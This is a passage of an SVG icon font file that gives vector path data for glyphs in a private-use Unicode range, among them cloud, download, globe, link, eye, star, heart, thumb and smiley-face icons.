	c-11.55,0-21-9.45-21-21l0-70 c0-11.55, 9.45-21, 21-21l 7,0 l0-56 L 77,188 c-27.018,0-49-21.982-49-49l0-91 l-7,0 c-11.55,0-21-9.45-21-21l0-70 
	c0-11.55, 9.45-21, 21-21l 70,0 c 11.55,0, 21,9.45, 21,21l0,70 c0,11.55-9.45,21-21,21l-7,0 l0,84 l 112,0 l0-84 l-7,0 c-11.55,0-21-9.45-21-21l0-70 
	c0-11.55, 9.45-21, 21-21l 70,0 c 11.55,0, 21,9.45, 21,21l0,70 c0,11.55-9.45,21-21,21l-7,0 l0,84 l 112,0 l0-84 l-7,0 c-11.55,0-21-9.45-21-21l0-70 
	c0-11.55, 9.45-21, 21-21l 70,0 c 11.55,0, 21,9.45, 21,21l0,70 C 448,38.55, 438.55,48, 427,48z M 84-36L 28-36 l0,56 l 56,0 L 84-36 z M 252-36l-56,0 l0,56 l 56,0 L 252-36 z
	 M 196,272L 196,328 l 56,0 l0-56 L 196,272 z M 420-36l-56,0 l0,56 l 56,0 L 420-36 z"  />
<glyph unicode="&#xe0ba;" d="M 448,96.325c0,35.914-24.797,66.019-58.186,74.147C 388.396,226.779, 342.364,272, 285.75,272
	c-33.159,0-62.679-15.529-81.749-39.695c-10.693,13.824-27.427,22.733-46.247,22.733c-32.292,0-58.468-26.195-58.468-58.503
	c0-2.816, 0.21-5.582, 0.597-8.292c-4.91,0.885-9.96,1.373-15.124,1.373C 37.946,189.615,0,151.645,0,104.808
	C0,57.969, 37.946,20, 84.757,20l 287.115,0 l0,0.005 C 413.932,20.086, 448,54.223, 448,96.325z"  />
<glyph unicode="&#xe0bb;" d="M 389.814,226.474C 388.396,282.779, 342.364,328, 285.75,328c-33.159,0-62.679-15.529-81.749-39.695
	c-10.693,13.824-27.427,22.733-46.247,22.733c-32.292,0-58.468-26.195-58.468-58.503c0-2.816, 0.21-5.582, 0.597-8.292
	c-4.91,0.885-9.96,1.373-15.124,1.373C 37.946,245.615,0,207.645,0,160.809C0,113.969, 37.946,76, 84.757,76l 43.645,0 L 224-19.598
	L 319.598,76l 52.273,0 l0,0.005 C 413.932,76.086, 448,110.223, 448,152.325C 448,188.24, 423.203,218.344, 389.814,226.474z M 224,20l-84,84
	l 56,0 l0,84 l 56,0 l0-84 l 56,0 L 224,20z"  />
<glyph unicode="&#xe0bc;" d="M 390.367,214.911C 391.437,219.771, 392,224.819, 392,230c0,38.66-31.34,70-70,70c-6.222,0-12.256-0.817-17.995-2.341
	C 293.156,331.5, 261.44,356, 224,356c-38.215,0-70.461-25.522-80.643-60.449C 133.408,298.448, 122.886,300, 112,300C 50.145,300,0,249.856,0,188
	c0-61.857, 50.145-112, 112-112l 56,0 l0-84 l 112,0 l0,84 l 98,0 c 38.66,0, 70,31.339, 70,70C 448,180.44, 423.126,209.071, 390.367,214.911z M 252,104l0-84 
	l-56,0 l0,84 l-70,0 l 98,98l 98-98L 252,104 z"  />
<glyph unicode="&#xe0bd;" d="M 392,160l-70,0 L 224,62L 126,160L 56,160 L0,48l0-28 l 448,0 l0,28 L 392,160z M0-8l 448,0 l0-28 L0-36 L0-8 z M 252,244L 252,356 l-56,0 l0-112 L 98,244 l 126-126l 126,126
	L 252,244 z"  />
<glyph unicode="&#xe0be;" d="M0-8L 448-8L 448-36L0-36zM 448,48 L 448,20 L 0,20 L 0,48 L 56,160 L 168,160 L 168,104 L 280,104 L 280,160 L 392,160 ZM 98,244 L 224,370 L 350,244 L 252,244 L 252,132 L 196,132 L 196,244 Z"  />
<glyph unicode="&#xe0bf;" d="M 322,188 L 210,76 L 98,188 L 168,188 L 168,356 L 252,356 L 252,188 ZM 210,76L0,76 l0-112 l 420,0 L 420,76 L 210,76 z M 392,20l-56,0 l0,28 l 56,0 L 392,20 z"  />
<glyph unicode="&#xe0c0;" d="M 210,76L0,76 l0-112 l 420,0 L 420,76 L 210,76 z M 392,20l-56,0 l0,28 l 56,0 L 392,20 zM 98,244 L 210,356 L 322,244 L 252,244 L 252,104 L 168,104 L 168,244 Z"  />
<glyph unicode="&#xe0c1;" d="M 210,356C 94.020,356,0,261.98,0,146c0-115.98, 94.020-210, 210-210c 115.98,0, 210,94.020, 210,210
	C 420,261.98, 325.98,356, 210,356z M 328.821,76c 3.754,17.699, 6.123,36.484, 6.894,56l 55.758,0 c-1.46-19.336-5.961-38.112-13.422-56
	L 328.821,76 z M 91.179,216c-3.754-17.699-6.123-36.484-6.894-56L 28.529,160 c 1.46,19.335, 5.96,38.112, 13.422,56L 91.179,216 z M 300.141,216
	c 4.206-17.921, 6.737-36.686, 7.56-56L 224,160 l0,56 L 300.141,216 z M 224,244L 224,325.96 c 6.383-1.858, 12.707-4.974, 18.912-9.349
	c 11.63-8.199, 22.755-20.828, 32.174-36.525c 6.511-10.851, 12.141-22.932, 16.842-36.087L 224,243.999 z M 144.914,280.087
	c 9.418,15.697, 20.543,28.327, 32.174,36.525c 6.205,4.375, 12.529,7.492, 18.912,9.349L 196,244 l-67.928,0 
	C 132.773,257.154, 138.404,269.235, 144.914,280.087z M 196,216l0-56 l-83.7,0 c 0.823,19.314, 3.354,38.079, 7.559,56L 196,216 z M 41.951,76
	c-7.462,17.888-11.962,36.664-13.422,56l 55.757,0 c 0.771-19.516, 3.14-38.301, 6.894-56L 41.951,76 z M 112.3,132L 196,132 l0-56 l-76.141,0 
	C 115.654,93.92, 113.123,112.686, 112.3,132z M 196,48l0-81.961 c-6.382,1.858-12.707,4.975-18.912,9.349
	c-11.63,8.199-22.756,20.829-32.174,36.525c-6.511,10.852-12.141,22.933-16.843,36.087L 196,48 z M 275.086,11.913
	c-9.418-15.696-20.544-28.326-32.174-36.525c-6.205-4.374-12.529-7.492-18.912-9.349L 224,48 l 67.929,0 
	C 287.227,34.846, 281.597,22.765, 275.086,11.913z M 224,76l0,56 l 83.7,0 c-0.823-19.314-3.354-38.080-7.56-56L 224,76 z M 335.715,160
	c-0.771,19.516-3.14,38.301-6.894,56l 49.229,0 c 7.462-17.888, 11.963-36.665, 13.422-56L 335.715,160 z M 363.413,244l-41.956,0 
	c-8.154,25.708-19.415,48.254-32.951,66.25c 18.61-8.899, 35.463-20.832, 50.187-35.556C 348.091,265.297, 356.352,255.033, 363.413,244
	z M 81.307,274.693c 14.725,14.725, 31.579,26.658, 50.187,35.556c-13.537-17.996-24.796-40.541-32.951-66.25L 56.588,244 
	C 63.648,255.033, 71.91,265.297, 81.307,274.693z M 56.588,48l 41.955,0 c 8.155-25.708, 19.415-48.254, 32.952-66.251
	c-18.61,8.899-35.463,20.832-50.187,35.557C 71.91,26.703, 63.648,36.967, 56.588,48z M 338.693,17.307
	c-14.724-14.725-31.579-26.659-50.187-35.557c 13.537,17.996, 24.797,40.542, 32.951,66.251l 41.956,0 
	C 356.352,36.967, 348.091,26.703, 338.693,17.307z"  />
<glyph unicode="&#xe0c2;" d="M 382.392,318.392 C 424.7,276.084 448,219.832 448,159.999 C 448,100.167 424.7,43.916 382.392,1.608 C 340.084-40.7 283.832-64 224-64 C 164.168-64 107.916-40.7 65.608,1.608 C 23.3,43.916 0,100.167 0,159.999 C 0,219.832 23.299,276.084 65.608,318.392 C 107.916,360.7 164.168,384 224,384 C 283.832,384 340.084,360.7 382.392,318.392 Z M 362.593,21.406 C 390.181,48.995 408.524,83.36 416.087,120.746 C 410.192,112.067 404.554,108.848 401.062,128.273 C 397.465,159.944 368.377,139.713 350.086,150.962 C 330.834,137.987 287.564,176.189 294.918,133.102 C 306.264,113.667 356.171,159.111 331.295,117.99 C 315.425,89.283 273.264,25.707 278.749-7.248 C 279.441-55.261 229.69-17.26 212.549-1.333 C 201.018,30.569 208.619,86.33 178.469,101.954 C 145.743,103.375 117.654,106.349 104.971,142.935 C 97.338,169.11 113.093,208.076 141.143,214.092 C 182.202,239.889 196.869,183.881 235.376,182.839 C 247.332,195.349 279.92,199.327 282.622,213.355 C 257.357,217.813 314.677,234.599 280.204,244.147 C 261.186,241.91 248.932,224.427 259.043,209.603 C 222.189,201.010 221.008,262.936 185.582,243.403 C 184.682,212.52 127.735,233.391 165.879,239.653 C 178.985,245.379 144.503,261.972 163.132,258.957 C 172.282,259.454 203.089,270.25 194.752,277.508 C 211.907,288.157 226.322,252.006 243.113,278.332 C 255.235,298.573 238.029,302.31 222.834,292.050 C 214.268,301.642 237.959,322.358 258.855,331.31 C 265.819,334.294 272.471,335.92 277.556,335.459 C 288.082,323.3 307.547,321.194 308.565,336.921 C 282.498,349.405 253.757,356 224,356 C 181.29,356 140.669,342.427 107.053,317.329 C 116.087,313.191 121.216,308.038 112.512,301.45 C 105.75,281.301 78.313,254.254 54.226,258.083 C 41.72,236.516 33.484,212.756 29.963,187.852 C 50.137,181.178 54.788,167.968 50.453,163.549 C 40.174,154.586 33.856,141.88 30.601,127.971 C 37.168,87.792 56.052,50.762 85.407,21.406 C 122.427-15.613 171.646-36 224-36 C 276.353-36 325.574-15.613 362.593,21.406 Z"  />
<glyph unicode="&#xe0c3;" d="M 417.111,351.344l-1.762,1.768c-41.19,41.184-108.585,41.184-149.768,0L 170.159,257.678
		c-41.184-41.183-41.184-108.577,0-149.761l 1.761-1.761c 3.426-3.433, 7.064-6.529, 10.822-9.388l 34.934,34.934
		c-4.070,2.404-7.93,5.281-11.426,8.776l-1.768,1.768c-22.362,22.355-22.362,58.744,0,81.108L 299.913,318.779
		c 22.363,22.364, 58.745,22.364, 81.106,0l 1.768-1.76c 22.356-22.363, 22.356-58.753,0-81.108l-43.175-43.175
		c 7.495-18.51, 11.046-38.238, 10.735-57.919l 66.764,66.764C 458.296,242.765, 458.296,310.159, 417.111,351.344zM 276.081,213.841c-3.426,3.426-7.064,6.528-10.822,9.38l-34.934-34.926c 4.071-2.405, 7.93-5.282, 11.426-8.777l 1.768-1.768
		c 22.363-22.363, 22.363-58.744,0-81.107L 148.088,1.209c-22.364-22.357-58.746-22.357-81.107,0l-1.768,1.768
		c-22.355,22.365-22.355,58.746,0,81.107l 43.176,43.175c-7.496,18.509-11.045,38.238-10.735,57.919l-66.763-66.762
		c-41.184-41.183-41.184-108.578,0-149.767l 1.761-1.764c 41.191-41.181, 108.584-41.181, 149.768,0l 95.423,95.427
		c 41.184,41.183, 41.184,108.585,0,149.768L 276.081,213.841z"  />
<glyph unicode="&#xe0c4;" d="M 364,308.616 C 397.454,308.616 427.478,326.826 448,340.6 L 448,79.986 C 427.478,66.211 397.454,48 364,48 C 330.546,48 300.522,57.918 280,71.693 C 259.478,85.466 229.454,95.384 196,95.384 C 162.546,95.384 132.523,78.358 112,64.586 L 112,325.2 C 132.523,338.974 162.546,356 196,356 C 229.454,356 259.478,346.083 280,332.309 C 300.522,318.534 330.546,308.616 364,308.616 ZM 56,384 C 71.464,384 84,371.464 84,356 L 84-64 L 28-64 L 28,356 C 28,371.464 40.536,384 56,384 Z"  />
<glyph unicode="&#xe0c5;" d="M 305.301,240.916l-28.416,28.403L 134.781,127.245c-23.544-23.534-23.544-61.709,0-85.244
	c 23.539-23.534, 61.714-23.534, 85.257,0l 170.525,170.497c 39.25,39.227, 39.25,102.84,0,142.068
	c-39.229,39.245-102.861,39.245-142.092,0L 69.418,175.565l 0.015-0.014c-0.127-0.133-0.268-0.252-0.383-0.37
	c-54.732-54.73-54.732-143.437,0-198.146c 54.711-54.712, 143.442-54.712, 198.182,0c 0.12,0.12, 0.226,0.248, 0.359,0.383l 0.014-0.015
	l 122.208,122.19l-28.431,28.402L 239.181,5.818l-0.007,0 c-0.13-0.117-0.247-0.249-0.37-0.369
	c-38.97-38.963-102.366-38.963-141.346,0c-38.965,38.956-38.965,102.341,0,141.303c 0.133,0.133, 0.264,0.255, 0.389,0.37l-0.020,0.026
	l 179.060,179.010c 23.499,23.51, 61.751,23.51, 85.263,0c 23.499-23.509, 23.499-61.752,0-85.243L 191.624,70.422
	c-7.847-7.841-20.586-7.841-28.425,0c-7.829,7.825-7.829,20.576,0,28.402L 305.301,240.916z"  />
<glyph unicode="&#xe0c6;" d="M 224,300C 126.298,300, 41.614,243.107,0,160c 41.614-83.107, 126.298-140, 224-140c 97.7,0, 182.384,56.893, 224,140
	C 406.387,243.107, 321.7,300, 224,300z M 334.447,225.755c 26.321-16.789, 48.625-39.276, 65.377-65.754
	c-16.753-26.478-39.057-48.966-65.378-65.755C 301.374,73.15, 263.182,62, 224,62c-39.183,0-77.374,11.15-110.447,32.245
	C 87.233,111.033, 64.929,133.521, 48.176,160c 16.753,26.479, 39.057,48.967, 65.377,65.754c 1.714,1.094, 3.446,2.153, 5.188,3.194
	C 114.384,216.992, 112,204.089, 112,190.625c0-61.855, 50.145-112, 112-112s 112,50.145, 112,112c0,13.464-2.384,26.367-6.741,38.324
	C 331,227.909, 332.732,226.848, 334.447,225.755z M 224,204.625c0-23.196-18.804-42-42-42s-42,18.804-42,42s 18.804,42, 42,42
	S 224,227.821, 224,204.625z"  />
<glyph unicode="&#xe0c7;" d="M 367.203,254.318 C 401.173,230.242 429.053,197.84 448,160 C 406.384,76.893 321.7,20 224,20 C 196.627,20 170.279,24.468 145.61,32.724 L 179.715,66.83 C 194.178,63.636 209.016,62 224,62 C 263.182,62 301.374,73.15 334.445,94.245 C 360.766,111.035 383.071,133.523 399.823,160.001 C 383.613,185.623 362.192,207.492 336.976,224.092 L 367.203,254.318 ZM 224,78.625 C 214.058,78.625 204.421,79.927 195.244,82.359 L 332.263,219.377 C 334.696,210.201 336,200.567 336,190.625 C 336,128.769 285.856,78.625 224,78.625 ZM 420,384l-23.51,0 L 300.409,287.92C 276.314,295.762, 250.642,300, 224,300C 126.298,300, 41.614,243.107,0,160
		c 18.663-37.271, 45.993-69.26, 79.272-93.217L0-12.49L0-36 l 23.51,0 L 420,360.49L 420,384 z M 182,246.625c 21.019,0, 38.433-15.441, 41.515-35.599
		l-47.917-47.917C 155.441,166.192, 140,183.606, 140,204.625C 140,227.821, 158.804,246.625, 182,246.625z M 48.176,160
		c 16.753,26.479, 39.057,48.967, 65.377,65.754c 1.714,1.094, 3.446,2.153, 5.188,3.194C 114.384,216.992, 112,204.089, 112,190.625
		c0-25.604, 8.597-49.196, 23.055-68.058l-25.616-25.616C 84.908,113.419, 64.047,134.914, 48.176,160z"  />
<glyph unicode="&#xe0c8;" d="M 224,244C 132.401,244, 51.081,200.007,0,132c 51.081-68.008, 132.401-112, 224-112c 91.599,0, 172.919,43.992, 224,112
	C 396.919,200.007, 315.599,244, 224,244z M 196,188c 15.464,0, 28-12.536, 28-28s-12.536-28-28-28s-28,12.536-28,28S 180.536,188, 196,188z
	 M 338.457,75.433c-17.346-8.863-35.723-15.69-54.62-20.29C 264.373,50.403, 244.242,48, 224,48
	c-20.241,0-40.373,2.403-59.836,7.142c-18.897,4.602-37.274,11.428-54.62,20.29c-27.571,14.088-52.597,33.429-73.343,56.568
	c 20.745,23.139, 45.771,42.481, 73.343,56.568c 14.147,7.228, 28.981,13.101, 44.223,17.517C 145.066,192.854, 140,177.020, 140,160
	c0-46.393, 37.608-84, 84-84c 46.392,0, 84,37.607, 84,84c0,17.020-5.067,32.854-13.766,46.086c 15.242-4.417, 30.075-10.29, 44.223-17.518
	c 27.572-14.087, 52.595-33.428, 73.342-56.568C 391.052,108.862, 366.028,89.519, 338.457,75.433z M 376.652,277.372
	C 329.087,301.677, 277.728,314, 224,314c-53.728,0-105.087-12.323-152.652-36.628C 45.636,264.233, 21.591,247.664,0,228.338l0-47.778 
	c 24.21,25.623, 52.804,47.142, 84.085,63.127C 127.669,265.958, 174.743,277.25, 224,277.25s 96.331-11.292, 139.914-33.563
	c 31.282-15.985, 59.875-37.504, 84.086-63.127L 448,228.338 C 426.409,247.664, 402.365,264.233, 376.652,277.372z"  />
<glyph unicode="&#xe0c9;" d="M 84,384L 84-64L 224,76L 364-64L 364,384 z"  />
<glyph unicode="&#xe0ca;" d="M 112,328L 112-64L 252,76L 392-64L 392,328 	zM 336,384L 56,384L 56-8L 84,20L 84,356L 336,356 	z"  />
<glyph unicode="&#xe0cb;" d="M 224,199.375 C 202.289,199.375 184.625,181.711 184.625,160 C 184.625,138.289 202.289,120.625 224,120.625 C 245.711,120.625 263.375,138.289 263.375,160 C 263.375,181.711 245.711,199.375 224,199.375 Z M 224,244 L 224,244 C 270.392,244 308,206.393 308,160 C 308,113.608 270.392,76 224,76 C 177.607,76 140,113.608 140,160 C 140,206.393 177.607,244 224,244 ZM 383.799,39.799 C 394.734,28.864 394.734,11.135 383.799,0.201 C 372.864-10.734 355.136-10.734 344.201,0.201 L 316.201,28.201 C 305.266,39.136 305.266,56.864 316.201,67.799 C 327.135,78.734 344.864,78.734 355.799,67.799 L 383.799,39.799 ZM 131.799,291.799 C 142.734,280.864 142.733,263.135 131.799,252.201 C 120.864,241.266 103.136,241.266 92.201,252.201 L 64.201,280.201 C 53.266,291.136 53.266,308.864 64.201,319.799 C 75.135,330.733 92.864,330.734 103.799,319.799 L 131.799,291.799 ZM 344.201,319.799 C 355.135,330.734 372.864,330.733 383.798,319.799 C 394.734,308.864 394.734,291.136 383.799,280.201 L 355.799,252.201 C 344.863,241.266 327.135,241.266 316.201,252.201 C 305.266,263.135 305.266,280.864 316.201,291.799 L 344.201,319.799 ZM 92.201,67.799 C 103.136,78.734 120.864,78.734 131.799,67.799 C 142.734,56.864 142.734,39.136 131.799,28.201 L 103.799,0.201 C 92.864-10.734 75.136-10.734 64.201,0.201 C 53.267,11.135 53.266,28.864 64.201,39.799 L 92.201,67.799 ZM 224,356 C 239.464,356 252,343.464 252,328 L 252,300 C 252,284.536 239.464,272 224,272 C 208.536,272 196,284.536 196,300 L 196,328 C 196,343.464 208.536,356 224,356 ZM 224,48 C 239.464,48 252,35.465 252,20 L 252-8 C 252-23.465 239.464-36 224-36 C 208.536-36 196-23.465 196-8 L 196,20 C 196,35.465 208.536,48 224,48 ZM 28,160 C 28,175.464 40.536,188 56,188 L 84,188 C 99.464,188 112,175.464 112,160 C 112,144.535 99.464,132 84,132 L 56,132 C 40.536,132 28,144.535 28,160 ZM 336,160 C 336,175.464 348.535,188 364,188 L 392,188 C 407.465,188 420,175.464 420,160 C 420,144.536 407.465,132 392,132 L 364,132 C 348.535,132 336,144.536 336,160 Z"  />
<glyph unicode="&#xe0cc;" d="M 224,272c-61.855,0-112-50.145-112-112s 50.145-112, 112-112s 112,50.145, 112,112S 285.856,272, 224,272z M 224,90L 224,230 
		c 38.598,0, 70-31.402, 70-70S 262.598,90, 224,90zM 224,20 C 239.464,20 252,7.464 252-8 L 252-36 C 252-51.464 239.464-64 224-64 C 208.536-64 196-51.464 196-36 L 196-8 C 196,7.464 208.536,20 224,20 ZM 224,300 C 208.536,300 196,312.536 196,328 L 196,356 C 196,371.464 208.536,384 224,384 C 239.464,384 252,371.464 252,356 L 252,328 C 252,312.536 239.464,300 224,300 ZM 420,188 C 435.464,188 448,175.464 448,160 C 448,144.536 435.464,132 420,132 L 392,132 C 376.536,132 364,144.536 364,160 C 364,175.464 376.536,188 392,188 L 420,188 ZM 84,160 C 84,144.536 71.464,132 56,132 L 28,132 C 12.536,132 0,144.536 0,160 C 0,175.464 12.536,188 28,188 L 56,188 C 71.464,188 84,175.464 84,160 ZM 362.593,61.005 L 382.392,41.206 C 393.327,30.272 393.327,12.542 382.392,1.608 C 371.458-9.327 353.728-9.327 342.794,1.608 L 322.995,21.407 C 312.061,32.341 312.061,50.070 322.995,61.005 C 333.93,71.939 351.659,71.939 362.593,61.005 ZM 85.407,258.995 L 65.608,278.794 C 54.673,289.729 54.673,307.458 65.608,318.392 C 76.542,329.327 94.271,329.327 105.206,318.392 L 125.005,298.593 C 135.94,287.658 135.94,269.93 125.005,258.995 C 114.070,248.060 96.342,248.060 85.407,258.995 ZM 362.593,258.995 C 351.659,248.061 333.93,248.061 322.995,258.995 C 312.061,269.93 312.061,287.658 322.995,298.593 L 342.794,318.392 C 353.728,329.326 371.458,329.326 382.392,318.392 C 393.327,307.457 393.327,289.728 382.392,278.793 L 362.593,258.995 ZM 85.407,61.005 C 96.341,71.939 114.070,71.939 125.004,61.005 C 135.939,50.070 135.939,32.341 125.004,21.407 L 105.206,1.608 C 94.271-9.327 76.542-9.327 65.608,1.608 C 54.673,12.542 54.673,30.272 65.608,41.206 L 85.407,61.005 Z"  />
<glyph unicode="&#xe0cd;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 56,160
	c0,92.784, 75.216,168, 168,168l0-336 C 131.216-8, 56,67.216, 56,160z"  />
<glyph unicode="&#xe0ce;" d="M 448,210.291l-154.779,22.491L 224,373.036l-69.22-140.255L0,210.291l 112-109.173L 85.561-53.036L 224,19.745l 138.439-72.782
	l-26.44,154.154L 448,210.291z M 224,54.345l-97.765-51.398l 18.671,108.863l-79.094,77.097l 109.305,15.883L 224,303.839l 48.885-99.048
	l 109.303-15.883l-79.095-77.097l 18.672-108.863L 224,54.345z"  />
<glyph unicode="&#xe0cf;" d="M 448,210.291l-154.779,22.491L 224,373.036l-69.22-140.255L0,210.291l 112-109.173L 85.561-53.036L 224,19.745l 138.439-72.782
	l-26.44,154.154L 448,210.291z M 224,54.345l-0.412-0.217L 224,303.839l 48.885-99.048l 109.303-15.883l-79.095-77.097l 18.672-108.863
	L 224,54.345z"  />
<glyph unicode="&#xe0d0;" d="M 448,210.291L 293.221,232.782L 224,373.036l-69.22-140.255L0,210.291l 112-109.173L 85.561-53.036L 224,19.745l 138.439-72.782
	l-26.44,154.154L 448,210.291z"  />
<glyph unicode="&#xe0d1;" d="M 448,227.307 C 448,189.523 431.717,155.544 405.786,132 L 406,132 L 266-8 C 252-22 238-36 224-36 C 210-36 196-22 182-8 L 42,132 L 42.214,132 C 16.283,155.544 0,189.523 0,227.307 C 0,298.382 57.618,356 128.693,356 C 166.477,356 200.456,339.717 224,313.786 C 247.544,339.717 281.523,356 319.307,356 C 390.381,356 448,298.382 448,227.307 Z"  />
<glyph unicode="&#xe0d2;" d="M 448,227.307C 448,298.382, 390.381,356, 319.307,356C 281.523,356, 247.544,339.717, 224,313.786C 200.456,339.717, 166.477,356, 128.693,356
	C 57.618,356,0,298.382,0,227.307C0,189.523, 16.283,155.544, 42.214,132L 42,132 l 140-140c 14-14, 28-28, 42-28s 28,14, 42,28l 140,140l-0.214,0 
	C 431.717,155.544, 448,189.523, 448,227.307z M 368.142,173.461L 226.402,31.598c-0.734-0.734-1.545-1.545-2.402-2.397
	c-0.857,0.853-1.669,1.663-2.402,2.397L 79.858,173.46C 64.473,187.429, 56,206.552, 56,227.307C 56,267.39, 88.61,300, 128.693,300
	c 20.755,0, 39.878-8.473, 53.846-23.858L 224,230.476l 41.461,45.665C 279.43,291.527, 298.552,300, 319.307,300
	C 359.39,300, 392,267.39, 392,227.307C 392,206.552, 383.526,187.429, 368.142,173.461z"  />
<glyph unicode="&#xe0d3;" d="M 448,227.307 C 448,189.523 431.717,155.544 405.786,132 L 406,132 L 266-8 C 252-22 238-36 224-36 C 210-36 196-22 182-8 L 42,132 L 42.214,132 C 16.283,155.544 0,189.523 0,227.307 C 0,298.382 57.618,356 128.693,356 C 152.953,356 175.638,349.278 195.006,337.609 L 154,272 L 252,216 L 196,76 L 350,244 L 252,300 L 286.515,351.774 C 296.986,354.525 307.973,356 319.307,356 C 390.381,356 448,298.382 448,227.307 Z"  />
<glyph unicode="&#xe0d4;" d="M 406,132 C 437.938,132 420,48 392,48 C 406,48 392-22 364-22 C 364-50 336-64 308-64 C 189.721-64 231.322-34.403 112-22 L 112,202 C 217.403,233.617 322,312.873 322,384 C 345.188,384 406,356 322,216 C 322,216 392,216 406,216 C 448,216 434,132 406,132 ZM 84,202 L 84-22 L 112-22 L 112-36 L 56-36 C 40.6-36 28-17.1 28,6 L 28,174 C 28,197.1 40.6,216 56,216 L 112,216 L 112,202 L 84,202 Z"  />
<glyph unicode="&#xe0d5;" d="M 42,188 C 10.063,188 28,272 56,272 C 42,272 56,342 84,342 C 84,370 112,384 140,384 C 258.279,384 216.678,354.403 336,342 L 336,118 C 230.597,86.383 126,7.127 126-64 C 102.813-64 42-36 126,104 C 126,104 56,104 42,104 C 0,104 14,188 42,188 ZM 364,118 L 364,342 L 336,342 L 336,356 L 392,356 C 407.4,356 420,337.1 420,314 L 420,146 C 420,122.9 407.4,104 392,104 L 336,104 L 336,118 L 364,118 Z"  />
<glyph unicode="&#xe0d6;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 224,122.043 C 274.728,122.043 322.976,135.52 364,159.195 C 357.624,81.128 297.006,20 224,20 C 150.995,20 90.378,81.194 84,159.258 C 125.024,135.584 173.272,122.043 224,122.043 ZM 112,230A28,42 2700 1 0 168,230A28,42 2700 1 0 112,230zM 280,230A28,42 2700 1 0 336,230A28,42 2700 1 0 280,230z"  />
<glyph unicode="&#xe0d7;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 308,272
		c 15.465,0, 28-18.804, 28-42s-12.535-42-28-42s-28,18.804-28,42S 292.535,272, 308,272z M 140,272c 15.464,0, 28-18.804, 28-42
		s-12.536-42-28-42s-28,18.804-28,42S 124.536,272, 140,272z M 224-8c-73.005,0-133.622,61.194-140,139.258
		c 41.024-23.675, 89.272-37.215, 140-37.215c 50.728,0, 98.976,13.478, 140,37.153C 357.624,53.128, 297.006-8, 224-8z"  />
<glyph unicode="&#xe0d8;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 112,244 C 112,259.464 124.536,272 140,272 C 155.464,272 168,259.464 168,244 C 168,228.536 155.464,216 140,216 C 124.536,216 112,228.536 112,244 Z M 280,244 C 280,259.464 292.536,272 308,272 C 323.464,272 336,259.464 336,244 C 336,228.536 323.464,216 308,216 C 292.536,216 280,228.536 280,244 ZM 308.043,109.574 L 344.061,87.963 C 319.578,47.245 274.973,20 224,20 C 173.027,20 128.422,47.245 103.939,87.963 L 139.957,109.574 C 157.096,81.072 188.319,62 224,62 C 259.681,62 290.904,81.072 308.043,109.574 Z"  />
<glyph unicode="&#xe0d9;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 308,272
	c 15.464,0, 28-12.536, 28-28s-12.536-28-28-28s-28,12.536-28,28S 292.536,272, 308,272z M 140,272c 15.464,0, 28-12.536, 28-28
	s-12.536-28-28-28s-28,12.536-28,28S 124.536,272, 140,272z M 224,20c-50.973,0-95.578,27.245-120.061,67.963l 36.019,21.611
	C 157.096,81.072, 188.319,62, 224,62s 66.904,19.072, 84.043,47.574l 36.019-21.611C 319.578,47.245, 274.973,20, 224,20z"  />
<glyph unicode="&#xe0da;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 112,244 C 112,259.464 124.536,272 140,272 C 155.464,272 168,259.464 168,244 C 168,228.536 155.464,216 140,216 C 124.536,216 112,228.536 112,244 Z M 280,244 C 280,259.464 292.536,272 308,272 C 323.464,272 336,259.464 336,244 C 336,228.536 323.464,216 308,216 C 292.536,216 280,228.536 280,244 ZM 336,132 L 336,104 L 308,104 L 308,62 C 308,38.804 289.196,20 266,20 C 242.804,20 224,38.804 224,62 L 224,104 L 112,104 L 112,132 L 336,132 Z"  />
<glyph unicode="&#xe0db;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 140,272
	c 15.464,0, 28-12.536, 28-28s-12.536-28-28-28s-28,12.536-28,28S 124.536,272, 140,272z M 336,104l-28,0 l0-42 c0-23.196-18.804-42-42-42
	s-42,18.804-42,42l0,42 L 112,104 l0,28 l 224,0 L 336,104 z M 308,216c-15.464,0-28,12.536-28,28s 12.536,28, 28,28s 28-12.536, 28-28S 323.464,216, 308,216z"  />
<glyph unicode="&#xe0dc;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 112,244 C 112,259.464 124.536,272 140,272 C 155.464,272 168,259.464 168,244 C 168,228.536 155.464,216 140,216 C 124.536,216 112,228.536 112,244 Z M 280,244 C 280,259.464 292.536,272 308,272 C 323.464,272 336,259.464 336,244 C 336,228.536 323.464,216 308,216 C 292.536,216 280,228.536 280,244 ZM 139.957,42.426 L 103.939,64.037 C 128.422,104.755 173.027,132 224,132 C 274.972,132 319.577,104.755 344.061,64.037 L 308.043,42.426 C 290.904,70.928 259.681,90 224,90 C 188.318,90 157.096,70.928 139.957,42.426 Z"  />
<glyph unicode="&#xe0dd;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 308,272
	c 15.464,0, 28-12.536, 28-28s-12.536-28-28-28s-28,12.536-28,28S 292.536,272, 308,272z M 140,272c 15.464,0, 28-12.536, 28-28
	s-12.536-28-28-28s-28,12.536-28,28S 124.536,272, 140,272z M 308.043,42.426C 290.904,70.928, 259.68,90, 224,90
